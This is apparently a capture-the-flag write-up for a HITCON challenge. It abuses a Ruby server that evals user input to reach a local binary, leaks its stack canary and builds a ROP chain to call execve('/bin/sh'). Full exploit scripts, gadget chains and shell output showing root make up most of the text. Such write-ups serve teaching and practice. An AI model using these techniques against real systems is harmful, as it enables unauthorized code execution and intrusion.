STDOUT.puts("This is not important, but the Ruby version running is: #{RUBY_VERSION}")

STDOUT.puts('Give me your Ruby script, I would run it for you ;)')

STDOUT.write('> ')

code=STDIN.readpartial(1024)

STDIN.close

eval(code)

It says ‘The binary “start” is listening at 127.0.0.1:31338.’, however we are not able to connect to that port because it listens on localhost only. The trick is we can execute random ruby code thanks to eval instruction. Since the server has pwntools-ruby installed and included it in the script, we can force the script to create connection to the port 31338. After that, we can exploit the server application to run a command like ls and print the result. Notice that we won’t be able to get an interactive shell, because the script closes STDIN after reading our input.

Before moving to the analysis of the binary file, I wanted to look at the server files by executing system commands.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

$nc54.65.72.11631337

The binary"start"islistening at127.0.0.1:31338.

Thisisnotimportant,but the Ruby version running is:2.4.2

Give me your Ruby script,Iwould run it foryou;)

>print`ls`

server.rb:15:in`eval': No such file or directory - ls (Errno::ENOENT)

from (eval):1:in `<main>'

from server.rb:15:in`eval'

from server.rb:15:in `<main>'

$nc54.65.72.11631337

The binary"start"islistening at127.0.0.1:31338.

Thisisnotimportant,but the Ruby version running is:2.4.2

Give me your Ruby script,Iwould run it foryou;)

>print`/bin/ls`

server.rb:15:in`eval': No such file or directory - /bin/ls (Errno::ENOENT)

from (eval):1:in `<main>'

from server.rb:15:in`eval'

from server.rb:15:in `<main>'

Since I cannot use these functions, I decided to create a ruby script to do the job.

analyze.rb

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

#!/usr/bin/env ruby

# encoding: ascii-8bit

require'pwn'

loop do

r=Sock.new'54.65.72.116',31337

r.recvuntil'> '

print'> '

path=gets.strip

ifpath=='exit'

break

end

payload=%{

path="#{path}"

ifFile.file?(path)

File.open(path,"r")do|f|

f.each_line do|line|

puts line

end

end

else

pDir.entries(path);

end

print'EOF'

}

r.sendline payload

reply=r.recvuntil'EOF'

puts reply.sub('EOF',"\n")

end

Let’s execute the script and look at the files.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

$ruby analyze.rb

>.

["lib","proc","server.rb","lib64","home","usr","ruby2.4",".",".."]

>home

["ruby_server",".",".."]

>home/ruby_server

["ruby2.4",".",".."]

>server.rb

#!/usr/bin/env ruby

# encoding: ascii-8bit

require'pwn'# https://github.com/peter50216/pwntools-ruby

STDIN.sync=0

STDOUT.sync=0

STDOUT.puts('The binary "start" is listening at 127.0.0.1:31338.')

STDOUT.puts("This is not important, but the Ruby version running is: #{RUBY_VERSION}")

STDOUT.puts('Give me your Ruby script, I would run it for you ;)')

STDOUT.write('> ')

code=STDIN.readpartial(1024)

STDIN.close

eval(code)

>usr

["lib","local",".",".."]

>usr/local

["lib",".",".."]

I couldn’t find anything interesting. Even though I was sure that the flag was only available from the port 31338, I wanted to search all the files that contain the string ‘hitcon’ and created a ruby script for this task as well.

search.rb

Ruby

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

#!/usr/bin/env ruby

# encoding: ascii-8bit

require'pwn'

r=Sock.new'54.65.72.116',31337

r.recvuntil'> '

payload=%{

Dir['**/*'].select{|f|File.file?(f)}.eachdo|filepath|

ifFile.open(filepath).each_line.any?{|line|line.include?('hitcon')}

putsfilepath

break

end

end

print'EOF'

}

r.sendlinepayload

reply=r.recvuntil'EOF'

putsreply.sub('EOF',"\n")

After executing the script, I couldn’t find anything again. So, it is time to exploit the binary start!

Let’s start with analyzing the protections.

1

2

3

4

5

6

$checksec start

Arch:amd64-64-little

RELRO:Partial RELRO

Stack:Canary found

NX:NX enabled

PIE:No PIE(0x400000)

The stack is not executable and there is a stack canary. Let’s disassemble the main to see what we have.

The program calls alarm(10) at the beginning, so we have only 10 seconds before our connection drops. We can disable the alarm by calling alarm(0), but it is not required for this challenge.

The program has a loop which reads up to 217 bytes from stdin and if the input is not “exit”, then it prints it back using puts. It will keep reading and printing until SIGALRM signal occurs or user sends “exit” as an input.

Let’s put a breakpoint on 0x00400b5c and look at the buffer before it gets filled to find the offsets of the stack cookie and the return address.

Wee see that our stack cookie is at buffer+24 and return address is at buffer+40. Now, we can start creating our exploit. However, we need to create a ropchain since the file is statically linked. There is no system function and I couldn’t find any hidden useful function. Let’s use ROPgadget to create a ropchain.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

p+=pack('<Q',0x00000000004017f7)# pop rsi ; ret

p+=pack('<Q',0x00000000006cc080)# @ .data

p+=pack('<Q',0x000000000047a6e6)# pop rax ; pop rdx ; pop rbx ; ret

p+='/bin//sh'

p+=pack('<Q',0x4141414141414141)# padding

p+=pack('<Q',0x4141414141414141)# padding

p+=pack('<Q',0x0000000000475fc1)# mov qword ptr [rsi], rax ; ret

p+=pack('<Q',0x00000000004017f7)# pop rsi ; ret

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=pack('<Q',0x000000000042732f)# xor rax, rax ; ret

p+=pack('<Q',0x0000000000475fc1)# mov qword ptr [rsi], rax ; ret

p+=pack('<Q',0x00000000004005d5)# pop rdi ; ret

p+=pack('<Q',0x00000000006cc080)# @ .data

p+=pack('<Q',0x00000000004017f7)# pop rsi ; ret

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=pack('<Q',0x0000000000443776)# pop rdx ; ret

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=pack('<Q',0x000000000042732f)# xor rax, rax ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468320)# add rax, 1 ; ret

p+=pack('<Q',0x0000000000468e75)# syscall ; ret

Wow, this one is really too long and our ropchain shouldn’t be larger than 177 bytes. For calling execve, the value of rax must be 59. So, I removed all add rax instructions and replaced them with a pop rax. Also, it uses “pop rsi; ret” and “pop rdx; ret”, but the binary has the gadget “pop rdx; pop rsi; ret” at 0x0000000000443799.

Here is the shorter version.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

p+=pack('<Q',0x00000000004017f7)# pop rsi ; ret

p+=pack('<Q',0x00000000006cc080)# @ .data

p+=pack('<Q',0x000000000047a6e6)# pop rax ; pop rdx ; pop rbx ; ret

p+='/bin//sh'

p+=pack('<Q',0x4141414141414141)# padding

p+=pack('<Q',0x4141414141414141)# padding

p+=pack('<Q',0x0000000000475fc1)# mov qword ptr [rsi], rax ; ret

p+=pack('<Q',0x00000000004017f7)# pop rsi ; ret

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=pack('<Q',0x000000000042732f)# xor rax, rax ; ret

p+=pack('<Q',0x0000000000475fc1)# mov qword ptr [rsi], rax ; ret

p+=pack('<Q',0x00000000004005d5)# pop rdi ; ret

p+=pack('<Q',0x00000000006cc080)# @ .data

p+=pack('<Q',0x0000000000443799)# pop rdx ; pop rsi ; ret

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=p64(0x000000000047a6e6)# pop rax ; pop rdx ; pop rbx ; ret

p+=p64(59)# rax = 59

p+=p64(0)# rdx = 0

p+='A'*8# padding

p+=pack('<Q',0x0000000000468e75)# syscall ; ret

It is 168 bytes, so we can use it. Normally, I would also prepend the following to our ropchain in order to disable the alarm. However, after 177 bytes we exceed the limit of read and these lines will add 24 extra bytes which makes our ropchain 192 bytes long.

1

2

3

p+=p64(0x00000000004005d5)# pop rdi ; ret

p+=p64(0)

p+=p64(0x000000000043f930)# alarm()

Either way we won’t get an interactive shell on the server, so let’s skip this code and don’t touch the alarm.

Let’s create our exploit to test it locally first. I will use python since I couldn’t find the process function in ruby-pwntools. We will first send 24 bytes of padding and a newline character to overwrite the null byte at the beginning of the stack cookie. Then, we will read the stack cookie. Next, we will send 40 bytes of padding including the stack cookie and our ropchain. Finally, we will send “exit” to trigger the return and get a shell.

Here is my python script.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

#!/usr/bin/env python

frompwn import*

fromstructimportpack

r=process('./start')

p='A'*24

r.sendline(p)

cookie='\x00'+r.recv()[25:32]

p+=cookie

p+='A'*8

p+=pack('<Q',0x00000000004017f7)# pop rsi ; ret

p+=pack('<Q',0x00000000006cc080)# @ .data

p+=pack('<Q',0x000000000047a6e6)# pop rax ; pop rdx ; pop rbx ; ret

p+='/bin//sh'

p+=pack('<Q',0x4141414141414141)# padding

p+=pack('<Q',0x4141414141414141)# padding

p+=pack('<Q',0x0000000000475fc1)# mov qword ptr [rsi], rax ; ret

p+=pack('<Q',0x00000000004017f7)# pop rsi ; ret

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=pack('<Q',0x000000000042732f)# xor rax, rax ; ret

p+=pack('<Q',0x0000000000475fc1)# mov qword ptr [rsi], rax ; ret

p+=pack('<Q',0x00000000004005d5)# pop rdi ; ret

p+=pack('<Q',0x00000000006cc080)# @ .data

p+=pack('<Q',0x0000000000443799)# pop rdx ; pop rsi ; ret

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=pack('<Q',0x00000000006cc088)# @ .data + 8

p+=p64(0x000000000047a6e6)#poprax pop pop ret

p+=p64(59)#rax = 59

p+=p64(0)

p+='A'*8

p+=pack('<Q',0x0000000000468e75)# syscall ; ret

r.sendline(p)

r.recv()

r.sendline('exit')

r.interactive()

Let’s test our script.

1

2

3

4

5

$python exploit.py

[+]Starting local process'./start':pid2959

[*]Switching tointeractive mode

$whoami

root

It works! Now, we need to write this exploit in ruby and send it as a string to the server to get it executed. Since, we can’t get an interactive shell. I will send just one command as an argument for our script. Also, notice that server.rb reads up to 1024 bytes. Therefore, I will make our string shorter by removing the comments. You can also remove the unnecessary zeroes from the addresses, merge some lines, remove tabs and spaces etc.

It seems like the implementaton of recv has a bug in pwntools-ruby. It does not read the newline character at the end. In order to handle this issue, we need to add an extra recvline. I also noticed that sometimes it says “Stack smashing detected!”, so I thought what could cause this problem and noticed that we rely on recv again to retrieve the stack cookie. Since recv has some issues with newlines, we can’t get the stack cookie properly if the cookie includes any newline (0x0A). To solve this issue I replaced recv with recvn(32) to make sure that I got 32 bytes whose last 7 bytes are our stack cookie.